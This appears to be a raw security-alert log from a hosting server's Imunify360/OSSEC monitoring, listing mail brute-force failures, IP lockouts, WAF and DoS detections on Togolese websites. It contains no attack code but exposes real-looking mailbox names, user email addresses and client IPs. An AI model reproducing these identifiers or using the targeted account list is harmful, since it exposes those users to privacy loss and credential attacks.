country_id: 130758
description:
2026-06-12 07:11:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:50142: 535 Incorrect authentication data (set_id=boardroom@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:11:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:11:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:7872: 535 Incorrect authentication data (set_id=ecom@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:07:11:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12872046&pdata=http%253A%252F%252F154.70.82.246&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248301 HTTP/1.1" 302 0 154.70.82.246 "http://154.70.82.246/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:12:25 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:12:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:42254: 535 Incorrect authentication data (set_id=derick@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:12:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:64322: 535 Incorrect authentication data (set_id=immortal@ns5.netmaster.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.255.83.134
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:172.255.83.134||TA:172.255.83.134||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:12:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:52172: 535 Incorrect authentication data (set_id=gou@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:12:28 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:12:31 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [12/Jun/2026:07:12:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738953&pdata=https%253A%252F%252F154.70.82.246&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248342 HTTP/2.0" 302 0 154.70.82.246 "https://154.70.82.246/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:13:33 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:07:14:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9595846&pdata=https%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248452 HTTP/2.0" 302 0 belali.tg "https://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:13:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:56238: 535 Incorrect authentication data (set_id=friends@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-12 07:13:23 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:57042: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.12
country_id: 6252001
description:
205.169.39.12 - - [12/Jun/2026:07:13:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6712211&pdata=http%253A%252F%252Fwww.belali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248404 HTTP/1.1" 302 0 www.belali.tg "http://www.belali.tg/" "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.12


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:13:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [12/Jun/2026:07:13:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065774&pdata=http%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248403 HTTP/1.1" 302 0 belali.tg "http://belali.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:13:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:43366: 535 Incorrect authentication data (set_id=academy@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:13:29 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:13:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:34126: 535 Incorrect authentication data (set_id=kazakevich@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:13:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:38772: 535 Incorrect authentication data (set_id=vmtest@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:07:14:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039845&pdata=http%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248445 HTTP/1.1" 302 0 belali.tg "http://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:14:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:43174: 535 Incorrect authentication data (set_id=photos5@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:14:30 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:14:37 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:07:14:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211804&pdata=http%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248492 HTTP/1.1" 302 0 belali.tg "http://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 89.105.214.103
country_id: 2750405
description:
89.105.214.103 - - [12/Jun/2026:07:15:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065262&pdata=https%253A%252F%252Fchuso.tg%252Fservice_chuso%252Fgynecologique-obstetrique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248499 HTTP/2.0" 302 0 chuso.tg "https://chuso.tg/service_chuso/gynecologique-obstetrique/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:89.105.214.103


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:14:38 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:14:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:48268: 535 Incorrect authentication data (set_id=thumb@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:14:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:26122: 535 Incorrect authentication data (set_id=temporal@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [12/Jun/2026:07:14:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10383512&pdata=https%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248496 HTTP/2.0" 302 0 belali.tg "https://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:15:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:39866: 535 Incorrect authentication data (set_id=hvac@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 12 07:16:01 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:15:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:34746: 535 Incorrect authentication data (set_id=wsn@ns5.netmaster.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 41.78.139.208
country_id: 2363686
description:
[2026-06-12 07:16:11 +0000] info [webmaild] 41.78.139.208 - raouf.damtare@togointerim.net "POST /cpsess4996778301/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [41.78.136.113] != Current IP Address [41.78.139.208]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:15:20 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:15:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:63916: 535 Incorrect authentication data (set_id=testx@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:15:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:15:34 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [12/Jun/2026:07:16:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12753818&pdata=http%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248592 HTTP/1.1" 302 0 belali.tg "http://belali.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.14
country_id: 6252001
description:
205.169.39.14 - - [12/Jun/2026:07:17:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053482&pdata=http%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248624 HTTP/1.1" 302 0 belali.tg "http://belali.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.14


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.47
country_id: 6252001
description:
205.169.39.47 - - [12/Jun/2026:07:18:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10186905&pdata=http%253A%252F%252F154.70.82.246&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248680 HTTP/1.1" 302 0 154.70.82.246 "http://154.70.82.246/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.47


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:19:30 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:20:38 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.117.225.231
country_id: 6252001
domain: wellcity.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/123.0.6312.86 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 87.241.158.58
country_id: 174982
description:
2026-06-12 07:21:44 H=([87.241.158.58]) [87.241.158.58]:34018 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.126
country_id: 1880251
description:
47.128.96.126 - - [12/Jun/2026:07:22:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262685&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcybercriminels%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248972 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cybercriminels/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.126


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 87.241.158.58
country_id: 174982
description:
2026-06-12 07:24:46 H=([87.241.158.58]) [87.241.158.58]:33994 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.86.31.49
country_id: 1819730
description:
2026-06-12 07:24:59 dovecot_plain authenticator failed for H=(1n308ghnu4i3zfldhrc) [47.86.31.49]:45450: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:27:14 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:27:22 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.34.157
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160604||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:28:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 151.247.72.163
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:togo-renforcer-le-systeme-educatif-a-travers-une-formation-de-qualite-des-instituteurs/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.75.122
country_id: 690791
description:
Jun 12 07:30:59 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.75.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-12 07:31:50 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:48160: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-12 07:34:52 +0000] info [webmaild] 196.171.46.177 - matthieu.awide@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.209
country_id: 1880251
description:
47.128.96.209 - - [12/Jun/2026:07:35:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6866120&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feconomic-freedom-fighters%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781249740 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/economic-freedom-fighters/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.209


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.1.77
country_id: 2363686
description:
[2026-06-12 07:36:14 +0000] info [webmaild] 196.170.1.77 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.206
country_id: 1880251
description:
47.128.96.206 - - [12/Jun/2026:07:35:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802352&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fshalev-tech-sarl%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781249758 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/shalev-tech-sarl/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.206


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.23.108.58
country_id: 2921044
description:
[2026-06-12 07:37:06 +0000] info [cpaneld] 89.23.108.58 - cpanel "GET /json-api/listaccts?api.version=1 HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:37:42 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 169.224.88.246
country_id: 99237
description:
169.224.88.246 - - [12/Jun/2026:07:38:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9882210&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feffondrement-dun-immeuble-au-nigeria%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781249895 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/effondrement-dun-immeuble-au-nigeria/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.5335.1972 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:169.224.88.246


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:38:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 91.245.204.152
country_id: 2510769
description:
91.245.204.152 - - [12/Jun/2026:07:38:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739974&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F05%252F14%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781249936 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/05/14/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.7109.1621 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:91.245.204.152


plugin: cl_dos
name: DOS detection
abuser: 137.59.47.73
country_id: 1562822
description:
2026-06-12 07:39:53.533491472 +0000 GMT m=+130775.048794625 Denial of Service attack was discovered from 137.59.47.73, on port 52223. Open connections: 287


plugin: cl_dos
name: DOS detection
abuser: 202.28.194.139
country_id: 1605651
description:
2026-06-12 07:40:54.887349601 +0000 GMT m=+130836.402652754 Denial of Service attack was discovered from 202.28.194.139, on port 52223. Open connections: 255


plugin: cl_dos
name: DOS detection
abuser: 137.59.47.73
country_id: 1562822
description:
2026-06-12 07:40:24.22306912 +0000 GMT m=+130805.738372373 Denial of Service attack was discovered from 137.59.47.73, on port 52223. Open connections: 265


plugin: cl_dos
name: DOS detection
abuser: 205.215.247.164
country_id: 6252001
description:
2026-06-12 07:43:28.637401708 +0000 GMT m=+130990.152704961 Denial of Service attack was discovered from 205.215.247.164, on port 52223. Open connections: 261


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.191.41.153
country_id: 3686110
description:
38.191.41.153 - - [12/Jun/2026:07:47:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10121067&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D10825&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781250440 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=10825" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.7746.1267 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.191.41.153


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-12 07:47:53 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:34742: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:48:54 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 213.195.85.112
country_id: 2510769
description:
213.195.85.112 - - [12/Jun/2026:07:51:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055064&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D12541&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781250686 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=12541" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.4341.1583 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:213.195.85.112


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:54:57 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-12 07:55:00 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:48314: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: cl_dos
name: DOS detection
abuser: 172.237.73.24
country_id: 1880251
description:
2026-06-12 07:58:55.155083513 +0000 GMT m=+131916.670386766 Denial of Service attack was discovered from 172.237.73.24, on port 80. Open connections: 260


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:00:56 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
